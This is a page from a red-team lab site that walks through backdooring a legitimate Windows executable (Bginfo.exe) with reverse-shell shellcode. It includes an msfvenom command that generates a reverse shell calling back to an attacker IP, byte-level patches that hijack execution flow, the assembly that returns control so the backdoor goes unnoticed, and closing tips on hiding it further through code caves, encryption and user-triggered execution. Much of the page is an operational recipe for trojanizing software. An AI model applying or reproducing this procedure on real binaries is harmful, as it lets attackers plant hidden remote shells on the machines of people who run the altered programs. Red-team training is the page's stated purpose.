✍️
Red Teaming Experiments
  • What is this iRed.team?
  • Pinned
    • Pentesting Cheatsheets
      • SQL Injection & XSS Playground
    • Active Directory & Kerberos Abuse
      • From Domain Admin to Enterprise Admin
      • Kerberoasting
      • Kerberos: Golden Tickets
      • Kerberos: Silver Tickets
      • AS-REP Roasting
      • Kerberoasting: Requesting RC4 Encrypted TGS when AES is Enabled
      • Kerberos Unconstrained Delegation
      • Kerberos Constrained Delegation
      • Kerberos Resource-based Constrained Delegation: Computer Object Take Over
      • Domain Compromise via DC Print Server and Kerberos Delegation
      • DCShadow - Becoming a Rogue Domain Controller
      • DCSync: Dump Password Hashes from Domain Controller
      • PowerView: Active Directory Enumeration
      • Abusing Active Directory ACLs/ACEs
      • Privileged Accounts and Token Privileges
      • From DnsAdmins to SYSTEM to Domain Compromise
      • Pass the Hash with Machine$ Accounts
      • BloodHound with Kali Linux: 101
      • Backdooring AdminSDHolder for Persistence
      • Active Directory Enumeration with AD Module without RSAT or Admin Privileges
      • Enumerating AD Object Permissions with dsacls
      • Active Directory Password Spraying
  • offensive security
    • Red Team Infrastructure
      • HTTP Forwarders / Relays
      • SMTP Forwarders / Relays
      • Phishing with Modlishka Reverse HTTP Proxy
      • Automating Red Team Infrastructure with Terraform
      • Cobalt Strike 101
      • Powershell Empire 101
      • Spiderfoot 101 with Kali using Docker
    • Initial Access
      • Password Spraying Outlook Web Access: Remote Shell
      • Phishing with MS Office
        • Phishing: XLM / Macro 4.0
        • T1173: Phishing - DDE
        • T1137: Phishing - Office Macros
        • Phishing: OLE + LNK
        • Phishing: Embedded Internet Explorer
        • Phishing: .SLK Excel
        • Phishing: Replacing Embedded Video with Bogus Payload
        • Inject Macros from a Remote Dotm Template
        • Bypassing Parent Child / Ancestry Detections
        • Phishing: Embedded HTML Forms
      • Phishing with GoPhish and DigitalOcean
      • Forced Authentication
      • NetNTLMv2 hash stealing using Outlook
    • Code Execution
      • T1117: regsvr32
      • T1170: MSHTA
      • T1196: Control Panel Item
      • Executing Code as a Control Panel Item through an Exported Cplapplet Function
      • Code Execution through Control Panel Add-ins
      • T1191: CMSTP
      • T1118: InstallUtil
      • Using MSBuild to Execute Shellcode in C#
      • T1202: Forfiles Indirect Command Execution
      • Application Whitelisting Bypass with WMIC and XSL
      • Powershell Without Powershell.exe
      • Powershell Constrained Language Mode ByPass
      • Forcing Iexplore.exe to Load a Malicious DLL via COM Abuse
      • T1216: pubprn.vbs Signed Script Code Execution
    • Code & Process Injection
      • CreateRemoteThread Shellcode Injection
      • DLL Injection
      • Reflective DLL Injection
      • Shellcode Reflective DLL Injection
      • Process Doppelganging
      • Loading and Executing Shellcode From PE Resources
      • Process Hollowing and Portable Executable Relocations
      • APC Queue Code Injection
      • Early Bird APC Queue Code Injection
      • Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert
      • Shellcode Execution through Fibers
      • Shellcode Execution via CreateThreadpoolWait
      • Local Shellcode Execution without Windows APIs
      • Injecting to Remote Process via Thread Hijacking
      • SetWindowHookEx Code Injection
      • Finding Kernel32 Base and Function Addresses in Shellcode
      • Executing Shellcode with Inline Assembly in C/C++
      • Writing Custom Shellcode Encoders and Decoders
      • Backdooring PE Files with Shellcode
      • NtCreateSection + NtMapViewOfSection Code Injection
      • AddressOfEntryPoint Code Injection without VirtualAllocEx RWX
      • Module Stomping for Shellcode Injection
      • PE Injection: Executing PEs inside Remote Processes
      • API Monitoring and Hooking for Offensive Tooling
      • Windows API Hooking
      • Import Adress Table (IAT) Hooking
      • DLL Injection via a Custom .NET Garbage Collector
      • Writing and Compiling Shellcode in C
      • Injecting .NET Assembly to an Unmanaged Process
    • Defense Evasion
      • AV Bypass with Metasploit Templates and Custom Binaries
      • Evading Windows Defender with 1 Byte Change
      • Bypassing Windows Defender: One TCP Socket Away From Meterpreter and Beacon Sessions
      • Bypassing Cylance and other AVs/EDRs by Unhooking Windows APIs
      • Windows API Hashing in Malware
      • Detecting Hooked Syscalls
      • Calling Syscalls Directly from Visual Studio to Bypass AVs/EDRs
      • Retrieving ntdll Syscall Stubs from Disk at Run-time
      • Full DLL Unhooking with C++
      • Enumerating RWX Protected Memory Regions for Code Injection
      • Disabling Windows Event Logs by Suspending EventLog Service Threads
      • T1027: Obfuscated Powershell Invocations
      • Masquerading Processes in Userland via _PEB
      • Commandline Obfusaction
      • File Smuggling with HTML and JavaScript
      • T1099: Timestomping
      • T1096: Alternate Data Streams
      • T1158: Hidden Files
      • T1140: Encode/Decode Data with Certutil
      • Downloading Files with Certutil
      • T1045: Packed Binaries
      • Unloading Sysmon Driver
      • Bypassing IDS Signatures with Simple Reverse Shells
      • Preventing 3rd Party DLLs from Injecting into your Malware
      • ProcessDynamicCodePolicy: Arbitrary Code Guard (ACG)
      • Parent Process ID (PPID) Spoofing
      • Executing C# Assemblies from Jscript and wscript with DotNetToJscript
    • Enumeration and Discovery
      • Windows Event IDs and Others for Situational Awareness
      • Enumerating COM Objects and their Methods
      • Enumerating Users without net, Services without sc and Scheduled Tasks without schtasks
      • Enumerating Windows Domains with rpcclient through SocksProxy == Bypassing Command Line Logging
      • Dump GAL from OWA
      • T1010: Application Window Discovery
      • T1087: Account Discovery & Enumeration
      • Using COM to Enumerate Hostname, Username, Domain, Network Drives
      • Detecting Sysmon on the Victim Host
    • Privilege Escalation
      • T1134: Primary Access Token Manipulation
      • Windows NamedPipes 101 + Privilege Escalation
      • T1038: DLL Hijacking
      • T1108: WebShells
      • T1183: Image File Execution Options Injection
      • Unquoted Service Paths
      • Pass The Hash: Privilege Escalation with Invoke-WMIExec
      • Environment Variable $Path Interception
      • Weak Service Permissions
    • Credential Access & Dumping
      • Dumping Credentials from Lsass Process Memory with Mimikatz
      • Dumping Lsass Without Mimikatz
      • Dumping Lsass without Mimikatz with MiniDumpWriteDump
      • Dumping Hashes from SAM via Registry
      • Dumping SAM via esentutl.exe
      • Dumping LSA Secrets
      • Dumping and Cracking mscash - Cached Domain Credentials
      • Dumping Domain Controller Hashes Locally and Remotely
      • Dumping Domain Controller Hashes via wmic and Vssadmin Shadow Copy
      • Network vs Interactive Logons
      • Reading DPAPI Encrypted Secrets with Mimikatz and C++
      • T1214: Credentials in Registry
      • T1174: Password Filter
      • Forcing WDigest to Store Credentials in Plaintext
      • Dumping Delegated Default Kerberos and NTLM Credentials w/o Touching Lsass
      • Intercepting Logon Credentials via Custom Security Support Provider and Authentication Packages
      • Pulling Web Application Passwords by Hooking HTML Input Fields
      • Intercepting Logon Credentials by Hooking msv1_0!SpAcceptCredentials
      • Credentials Collection via CredUIPromptForCredentials
    • Lateral Movement
      • T1028: WinRM for Lateral Movement
      • WinRS for Lateral Movement
      • T1047: WMI for Lateral Movement
      • T1076: RDP Hijacking for Lateral Movement with tscon
      • T1051: Shared Webroot
      • T1175: Lateral Movement via DCOM
      • WMI + MSI Lateral Movement
      • Lateral Movement via Service Configuration Manager
      • Lateral Movement via SMB Relaying
      • WMI + NewScheduledTaskAction Lateral Movement
      • WMI + PowerShell Desired State Configuration Lateral Movement
      • Simple TCP Relaying with NetCat
      • Empire Shells with NetNLTMv2 Relaying
      • Lateral Movement with Psexec
      • From Beacon to Interactive RDP Session
      • SSH Tunnelling / Port Forwarding
      • Lateral Movement via WMI Event Subscription
      • Lateral Movement via DLL Hijacking
      • Lateral Movement over headless RDP with SharpRDP
      • ShadowMove: Lateral Movement by Duplicating Existing Sockets
    • Persistence
      • DLL Proxying for Persistence
      • T1053: Schtask
      • T1035: Service Execution
      • T1015: Sticky Keys
      • T1136: Create Account
      • T1013: AddMonitor()
      • T1128: NetSh Helper DLL
      • T1084: Abusing Windows Managent Instrumentation
        • WMI as a Data Storage
      • Windows Logon Helper
      • Hijacking Default File Extension
      • Persisting in svchost.exe with a Service DLL
      • Modifying .lnk Shortcuts
      • T1180: Screensaver Hijack
      • T1138: Application Shimming
      • T1197: BITS Jobs
      • T1122: COM Hijacking
      • T1198: SIP & Trust Provider Hijacking
      • T1209: Hijacking Time Providers
      • T1130: Installing Root Certificate
      • Powershell Profile Persistence
      • RID Hijacking
      • Word Library Add-Ins
      • Office Templates
    • Exfiltration
      • Powershell Payload Delivery via DNS using Invoke-PowerCloud
  • reversing, forensics & misc
    • Windows Internals
      • Configuring Kernel Debugging Environment with kdnet and WinDBG Preview
      • Compiling a Simple Kernel Driver, DbgPrint, DbgView
      • Loading Windows Kernel Driver for Debugging
      • Subscribing to Process Creation, Thread Creation and Image Load Notifications from a Kernel Driver
      • Listing Open Handles and Finding Kernel Object Addresses
      • Sending Commands From Your Userland Program to Your Kernel Driver using IOCTL
      • Windows Kernel Drivers 101
      • x64 Calling Convention: Stack Frame
      • System Service Descriptor Table - SSDT
      • Interrupt Descriptor Table - IDT
      • Token Abuse for Privilege Escalation in Kernel
      • Manipulating ActiveProcessLinks to Hide Processes in Userland
      • ETW: Event Tracing for Windows 101
      • Exploring Injected Threads
      • Parsing PE File Headers with C++
      • Instrumenting Windows APIs with Frida
      • Exploring Process Environment Block
    • Cloud
      • AWS Accounts, Users, Groups, Roles, Policies
    • Neo4j
    • Dump Virtual Box Memory
    • AES Encryption Using Crypto++ .lib in Visual Studio C++
    • Reversing Password Checking Routine
Powered by GitBook
On this page
  • Groundwork
  • Generate Shellcode
  • New PE Code Section
  • Inserting Shellcode
  • Testing the Shellcode
  • Redirecting Code Execution Flow
  • Overwriting 5 byte Instruction
  • Patching Shellcode
  • Backdoor Demo
  • Final Note
  • References

Was this helpful?

  1. offensive security
  2. Code & Process Injection

Backdooring PE Files with Shellcode

PreviousWriting Custom Shellcode Encoders and DecodersNextNtCreateSection + NtMapViewOfSection Code Injection

Last updated 4 years ago

Was this helpful?

The purpose of this lab is to learn the Portable Executable (PE) backdooring technique by adding a new readable/writable/executable code section with our malicious shellcode to any portable executable file.

High level process of this technique:

  • Add a new RWX PE section, big enough to hold our shellcode, to any .exe file

  • Generate shellcode

  • Add shellcode to the newly created PE section

  • Redirect execution flow of the .exe file being backdoored to the shellcode

  • Redirect execution flow back to the legitimate .exe instructions

The last two steps are a bit more complicated and will have more details below.

Groundwork

Generate Shellcode

First of, let's generate the shellcode so we know how many bytes of space we will need in the new PE section:

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 | hexdump -C

Note that the shellcode size is 324 bytes - the new PE section will have to be at least that big.

New PE Code Section

I randomly chose Bginfo.exe from sysinternals as a binary to be backdoored. Let's add a new PE section called .code1 that will contain our shellcode - note the size is 200h bytes, so plenty for our shellcode which was only 324 bytes:

Note the Raw Address of the new section which is CD200 - this is where we will place the shellcode inside the file in later steps.

Let's make the new PE section writable/executable and mark it as contains code using CFF Explorer:

Inserting Shellcode

Let's copy the shellcode over to the new code section, starting at 0xCD200 into the file:

Testing the Shellcode

Let's see if we can force the Bginfo.exe binary to execute our shellcode using debugger first. We need to find the base address of Bginfo.exe, which we see is 0x00400000:

Since the new section .code1 that holds our shellcode has an RVA 000D8000, we can find the shellcode in a running process at 00400000+00d8000 = ‭4D8000‬. Below shows that the bytes at cd200 (file offset) match those at 4d8000 while the bginfo.exe is running:

When debugging the binary, if we set the EIP to point to 4D8000‬ and let the debugger run, if we have a listener on the attacking system, we get the reverse shell which confirms that we can successfully execute the shellcode if we manage to redirect the code execution flow of bginfo.exe:

In the above screenshot, pushad and pushdf are the first instructions at 4d8000 - it's not shown in this lab how those two instructions were inserted there, but there is no magic - just add bytes 60 9c before the shellcode at 0xCD200 in the bginfo and you're set.

Redirecting Code Execution Flow

In previous paragraph we confirmed the shellcode can be executed, but we did this manually, with help of a debugger. Now let's patch the binary, so that the process is automated and does not require our intervention.

The process of patching the binary to redirect the code execution flow is as follows:

  1. Find the first instruction that is 5 bytes in size inside the bginfo.exe binary

    1. We will overwrite this instruction with a jump to the shellcode as explained in step 2

    2. Prior to overwriting this instruction, write it down somewhere - we will need to append it to our shellcode later in order to restore the code execution flow

    3. Write down the address of the next instruction to be executed next - after the shellcode has been executed, stack and registers restored, we will jump back to this address to let the bginfo.exe continue as normal

  2. Overwrite the instruction in step 1 with a jump to the shellcode at 4D8000‬

  3. Save registers' and flags' state by prepending the shellcode with pushad and pushfd instructions - we do this so we can restore their state before redirecting the execution back to bginfo.exe and avoid any crashes

  4. Remember the ESP register value - we will need this when calculating by how much the stack size grew during the shellcode execution. This is required in order to restore the stack frame before redirecting the code execution back to bginfo.exe

  5. Modify the shellcode:

    1. Make sure that WaitForSingleObject does not wait indefinitely and does not freeze bginfo.exe once the shellcode is executed

    2. Remove the last instruction of the shellcode call ebp to prevent the shellcode from shutting down of bginfo.exe

  6. Note the ESP value and the end of shellcode execution - this is related to point 4 and 7

  7. Restore the stack pointer ESP to what it was after the shellcode executed pushad and pushfd as explained in step 3, with add esp, <ESP_POST_SHELLCODE - ESP_PRE_SHELLCODE>. This is where ESPs from point 4 and 7 comes in to play

  8. Restore registers with popfd and popad

  9. Append the shellcode with the instruction we had overwritten in step 1

  10. Restore code execution back to bginfo by jumping back to the next instruction after the owerwritten one as explained in 1.3

Overwriting 5 byte Instruction

Let's now hijack the bginfo.exe code execution flow by overwriting any instruction that is 5 bytes in size - again - this is how many bytes we need for a jmp address instruction.

One of the first 5-byte instructions we can see is mov edi, bb40e64e at 00467b29:

Important We are about to overwrite the instruction mov edi, 0xbb40e64e at 00467b29, hence we need to remember it for later as explained in 1.2.

Let's overwrite the instruction at 00467b29 with an instruction jmp 0x004d8000 which will make the bginfo jump to our shellcode located at 0x004d8000 when executed:

Important Remember the address of the next instruction after 0046b29, which is 0467b2e - this is the address we will jump back after the shellcode has executed in order to resume bginfo.

There are multiple ways to overwrite the instructions at 00467b29 - either assemble the bytes using a debugger or patch the binary via a hex editor which is what I did. I found the bytes bf 4e e6 40 bb (bytes found at 00467b29 when bginfo is in memory) in the bginfo.exe (screenshot below) and replaced them with bytes e9 d2 04 07 00 which translates to jmp bgfinfo.d48000 (jump to our shellcode, above screenshot).

Below shows how the code redirection works and we jump to 4d8000 (shellcode) location once we hit the instruction at 00467b29:

If we try running the patched binary now, we can see it results in a reverse shell, however the bginfo.exe itself is not visible - we will need to fix that:

Patching Shellcode

Patching WaitForSingleObject

The reason the bginfo.exe is not showing any UI is because the thread is blocked by the shellcode call to WaitForSingleObject function (see definition below). It's called with an argument INFINITE (-1 or 0xFFFFFFFF‬), meaning the thread will be blocked forever.

DWORD WaitForSingleObject(
  HANDLE hHandle,
  DWORD  dwMilliseconds
);

The below screenshot shows that EAX points to WaitForSingleObject which is going to be jumped to with jmp eax at 004d8081. Note the stack - it contains the thread handle (28c) to block and the wait time FFFFFFFF == INFINITE which is the second argument for WaitForSingleObject:

Instruction dec esi at 004d811b changes ESI value to -1 (currently ESI = 0), which is the value pushed to the stack as an argument dwMilliSeconds for WaitForSignaledObject:

Let's NOP that instruction, so that ESI stays unchanged at 0, which means that WaitForSingleObject will wait 0 seconds before unblocking the UI:

Restoring Stack Frame & Jumping Back

Next, we need to patch the call ebp instruction at 004d8144 if we don't want the shellcode to close the bginfo.exe process:

We will do this by replacing this instruction with an instruction that will restore our stack frame pointer ESP to what it was before we started executing our shellcode, but after we executed pushad and pushfd instructions as mentioned in point 7.

From earlier, the ESP after pushad and pushfd was 0019ff30:

ESP after executing the shellcode was 0019fd2c:

Which means that the stack grew by 204h bytes:

0019ff30−0019fd2c=0x2040019ff30 - 0019fd2c = 0x2040019ff30−0019fd2c=0x204

Knowing all of the above, we need to:

  • restore the stack by increasing the ESP by 0x204 bytes

  • restore registers and flags with popfd and popad

  • re-introduce the instruction we previously had overwritten with a jump to our shellcode

  • jump back to the next instruction after the overwritten instruction that made the jump to the shellcode

All the above steps in assembly would be:

add esp, 0x204
popfd
popad
mov edi, 0xbb40e64e
jmp 0x00467B2E

The below screenshot shows the very end of the shellcode with the above instructions encircled:

Backdoor Demo

If we save the patched binary and launch it - we can see that the reverse shell gets popped and the bginfo.exe is launched successfully:

Final Note

This technique is not particularly stealthy. Rather than adding a new code section to the binary, it's better to attempt locating large spaces of unused bytes inside existing code sections, called code caves. To further improve stealthiness of this technique, you may want to consider encoding/encrypting your shellcode and executing it when user performs certain interaction with the binary you are backdooring, for example, invokes Help > About dialog box.

References

definition:

WaitForSingleObject
PE Section Header Injection using Code CaveMedium
Art of Anti Detection 2 &#8211; PE Backdoor ManufacturingPentest Blog
WaitForSingleObject function (synchapi.h) - Win32 appsdocsmsft
Logo
Logo
[Backdoor 101] Backdooring PE File by Adding New Section HeaderHack.Learn.Share
Logo
Logo